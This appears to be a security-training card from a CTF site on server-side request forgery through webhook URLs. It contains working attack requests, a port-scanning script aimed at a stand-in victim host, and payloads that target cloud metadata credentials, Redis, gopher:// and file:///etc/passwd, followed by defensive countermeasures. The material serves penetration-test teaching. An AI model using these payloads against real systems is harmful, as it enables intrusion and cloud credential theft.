Browse CTFs New CTF Sign in

SSRF via webhook

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Server-Side Request Forgery via webhook endpoints is among the most impactful SSRF vectors in cloud-hosted applications because webhook registration is a legitimate, user-facing feature. In 2019, a researcher demonstrated that a popular project management SaaS platform's webhook feature would fetch any URL supplied by the user — including http://169.254.169.254/latest/meta-data/ — and return the cloud instance metadata directly in the webhook test response. In 2021, Capital One's breach (data affecting 100 million customers) involved SSRF against the AWS IMDS as a component of the attack chain. OWASP lists SSRF as A10:2021 — its first appearance on the OWASP Top 10 — explicitly noting cloud metadata endpoints and internal service enumeration as primary attack targets.

Core Concept

A webhook is a user-configured URL to which the server sends HTTP POST requests when specific events occur. The server-side component responsible for sending webhook notifications makes outbound HTTP requests on behalf of the user. When the webhook URL is not validated against an allowlist, the server becomes a proxy for the attacker — it will connect to any address the attacker specifies, including internal network addresses, localhost services, and cloud metadata endpoints.

The violated invariant is that the server-side HTTP client must never connect to addresses derived from untrusted user input without strict validation. The attacker precondition is simply the ability to register or modify a webhook URL in the application.

Blind SSRF describes the scenario where the server makes the request but does not return the response body to the attacker. Detection relies on out-of-band signals: timing differences, DNS lookups, or HTTP callbacks to an attacker-controlled server (Burp Collaborator or interactsh). Non-blind SSRF returns the fetched response body in the application's webhook test endpoint response — a more directly exploitable form that enables direct data exfiltration.

High-value internal targets in cloud environments include:

  • http://169.254.169.254/latest/meta-data/ — AWS IMDS (Instance Metadata Service): returns IAM role credentials, instance ID, and account information
  • http://169.254.169.254/computeMetadata/v1/ (with Metadata-Flavor: Google header) — GCP metadata
  • http://169.254.169.254/metadata/instance — Azure IMDS
  • http://localhost:6379/ — Redis on default port (no auth)
  • http://internal-api/admin — internal admin APIs not exposed externally
  • http://127.0.0.1:2375/ — Docker daemon API (unauthenticated)

The gopher:// protocol is a SSRF escalation primitive: by constructing a gopher:// URL, an attacker can send arbitrary raw TCP data to internal services such as Redis, Memcached, or SMTP, enabling more powerful attacks than HTTP-only SSRF. Some HTTP clients (curl in PHP, Java's URL class in older versions) support gopher.

Technical Deep-Dive

-- Step 1: Register a webhook pointing to Burp Collaborator (blind SSRF detection)
POST /api/webhooks HTTP/1.1
Host: saas-victim.com
Content-Type: application/json
Authorization: Bearer <attacker_token>

{
  "event": "order.created",
  "url": "http://COLLABORATOR_SUBDOMAIN.oastify.com/ssrf-test"
}
-- Monitor Burp Collaborator panel; a DNS lookup + HTTP request confirms SSRF
-- Step 2: Test for non-blind SSRF via webhook "test" endpoint
POST /api/webhooks/42/test HTTP/1.1
Host: saas-victim.com
Authorization: Bearer <attacker_token>

-- Application fetches the configured webhook URL and returns the response
-- If URL = http://169.254.169.254/latest/meta-data/:
HTTP/1.1 200 OK
{
  "webhook_response": "ami-id
ami-launch-index
hostname
iam
instance-id
..."
}
-- Server returned the IMDS response body: SSRF confirmed + data exfiltrated
-- Step 3: Probe internal Redis via HTTP after confirming SSRF
-- Update webhook URL to internal Redis port:
PUT /api/webhooks/42 HTTP/1.1
Host: saas-victim.com
Content-Type: application/json
Authorization: Bearer <attacker_token>

{"url": "http://127.0.0.1:6379/"}
-- Redis responds with: -ERR wrong number of arguments for 'get' command
-- or a binary banner — confirms Redis is running on localhost:6379
# Internal port scan via SSRF webhook — measure response time per port
# Fast response (connection refused quickly) vs slow response (timeout = filtered)
# or immediate response with data = open port
import requests, time

TARGET_HOST = "127.0.0.1"
COMMON_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

for port in COMMON_PORTS:
    # Update webhook URL to target port
    requests.put(
        "https://saas-victim.com/api/webhooks/42",
        json={"url": f"http://{TARGET_HOST}:{port}/"},
        headers={"Authorization": "Bearer <attacker_token>"}
    )
    start = time.time()
    r = requests.post(
        "https://saas-victim.com/api/webhooks/42/test",
        headers={"Authorization": "Bearer <attacker_token>"}
    )
    elapsed = time.time() - start
    print(f"Port {port}: status={r.status_code} time={elapsed:.2f}s body_len={len(r.text)}")
    # Long elapsed + non-empty body = likely open; instant empty = closed/filtered

Security Assessment Methodology

  1. Locate webhook registration endpoints — Search for features labelled "webhooks", "callbacks", "notifications", "integrations", "event subscriptions", or "outbound HTTP". These are the primary SSRF entry points.
  2. Test for blind SSRF with Burp Collaborator — Register a webhook URL pointing to a Collaborator subdomain. Trigger a test event. Monitor Collaborator for DNS and HTTP interactions confirming the server makes outbound requests.
  3. Attempt AWS IMDS — Set the webhook URL to http://169.254.169.254/latest/meta-data/ and http://169.254.169.254/latest/meta-data/iam/security-credentials/. Trigger the webhook test and check whether the response includes metadata content.
  4. Probe internal services — Enumerate common internal ports (22, 80, 443, 3306, 5432, 6379, 8080, 9200) by updating the webhook URL to http://127.0.0.1:<port>/ and measuring response time and content.
  5. Test gopher:// protocol — Attempt gopher://127.0.0.1:6379/_PING to send a Redis command. Support for gopher enables raw TCP communication with internal services.
  6. Test file:// protocol — Attempt file:///etc/passwd and file:///proc/self/environ to check whether the server's HTTP client follows file-scheme URLs.
  7. Document impact scope — Report which internal endpoints are reachable, whether metadata service credentials were accessible, and the full exploitation chain.

Defensive Countermeasure — Validate all user-supplied URLs against an explicit allowlist of permitted domains and protocols before initiating any server-side HTTP request. Deny all requests to 169.254.0.0/16 (link-local), 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 127.0.0.0/8 (loopback) at the network or application layer. Disable support for non-HTTP schemes (gopher, file, dict) in the HTTP client. On AWS, enforce IMDSv2 (which requires a PUT to obtain the session token before GET requests succeed) as a defence-in-depth measure — IMDSv2 cannot be bypassed by a basic SSRF HTTP GET request.

Common Assessment Errors

  • Only testing localhost — Internal cloud metadata addresses (169.254.169.254) are distinct from localhost and are on a separate subnet; a filter blocking 127.0.0.1 may not block the IMDS address.
  • Missing blind SSRF — If the webhook test endpoint does not return the fetched response body, testers conclude no SSRF exists. Always deploy Burp Collaborator to detect DNS and HTTP callbacks independently.
  • Not testing gopher:// — HTTP-only SSRF filters often miss gopher; the gopher protocol enables Redis and Memcached command injection that HTTP cannot.
  • Stopping at metadata enumeration — AWS IMDS at /latest/meta-data/iam/security-credentials/<role> returns temporary AWS credentials; always enumerate this full path to demonstrate the maximum credential-theft impact.
  • Ignoring response timing — Closed ports return connection refused quickly; open ports with no HTTP service may time out. Use timing differences to distinguish open from closed ports even without response body content.
  • Not testing all URL fields — Webhook URL is the obvious vector, but avatar fetch URLs, PDF generation source URLs, import-from-URL fields, and third-party integration callback URLs are equally exploitable SSRF entry points.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of SSRF via webhook as a server-proxied request injection class with internal network impact
K0070 Knowledge of system and application security threats and vulnerabilities Covers AWS IMDS exploitation, internal service probing, and gopher protocol escalation
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains blind SSRF detection with Burp Collaborator and internal port scanning via timing analysis
S0044 Skill in mimicking threat behaviors Builds adversarial skill in cloud credential exfiltration via IMDS SSRF
T0028 Task: Identify systemic security issues based on vulnerability and configuration data Develops ability to recognise webhook URL fields as a systemic SSRF risk across all outbound HTTP features
T0591 Perform penetration testing Provides complete webhook SSRF methodology from detection through internal network enumeration

Further Reading

  • SSRF Bible — Cheatsheet — Wallarm Security Research
  • OWASP Server-Side Request Forgery Prevention Cheat Sheet — OWASP Foundation
  • Hacking the Cloud: IMDS SSRF — AWS Security Blog and HackTricks
  • Exploiting SSRF in AWS Cloud Environments — Bishop Fox Research

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.